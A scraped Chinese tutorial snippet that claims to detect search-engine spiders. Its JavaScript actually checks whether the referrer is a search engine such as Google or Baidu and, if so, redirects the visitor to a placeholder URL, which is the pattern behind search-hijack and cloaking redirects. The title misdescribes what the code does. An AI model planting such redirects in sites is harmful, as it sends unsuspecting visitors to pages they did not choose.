js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问?

以下javascript脚本代码可以实现判断访问是否来自搜索引擎。 代码如下: script type=text/javascript if(window.name != ad_app6){ var r = document.referrer; r = r.toLowerCase(); //转为小写 var aSites = new Array(google.,baidu.,soso.,so.,360.,yahoo.,y

以下javas cript脚本代码可以实现判断访问是否来自搜索引擎。
代码如下:
<script type="text/javas cript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
 
if(b)
{
self.location = '要跳转的网址';
window.adworkergo = 'ad_app6';
}
}
</script>

你可能感兴趣的:(js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问?)